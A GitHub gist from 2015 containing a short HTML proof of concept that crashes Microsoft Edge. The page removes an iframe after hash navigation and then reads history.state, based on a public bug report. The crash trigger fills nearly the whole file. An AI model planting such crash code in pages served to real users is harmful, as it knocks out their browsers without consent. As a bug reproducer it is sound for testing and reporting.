Skip to content

Instantly share code, notes, and snippets.

@h0wl
Last active December 12, 2015 09:51
Show Gist options
  • Select an option

  • Save h0wl/7a921a975a2fd83e11cf to your computer and use it in GitHub Desktop.

Select an option

Save h0wl/7a921a975a2fd83e11cf to your computer and use it in GitHub Desktop.

Revisions

  1. h0wl renamed this gist Aug 19, 2015. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. h0wl created this gist Aug 19, 2015.
    20 changes: 20 additions & 0 deletions Microsoft Edge Crash
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    <!-- based on https://connect.microsoft.com/IE/feedback/details/1683347/ms-edge-combination-of-iframe-anchor-hash-navigation-and-history-state-crashes-the-browse -->
    <!doctype html>
    <html>
    <head>
    <script>
    function boom() {
    var iframe = document.getElementById('iframe1');
    document.location.href = '#';
    iframe.parentNode.removeChild(iframe);
    alert(history.state);
    }
    </script>
    <body>
    <div id="div1">
    <iframe id="iframe1" width="400" height="400" src="http://bing.com"></iframe>
    </div>
    Perform any interaction within the iframe (such as click a link) and after that click the crash button
    <input type="button" value="crash" onclick="boom();">
    </body>
    </html>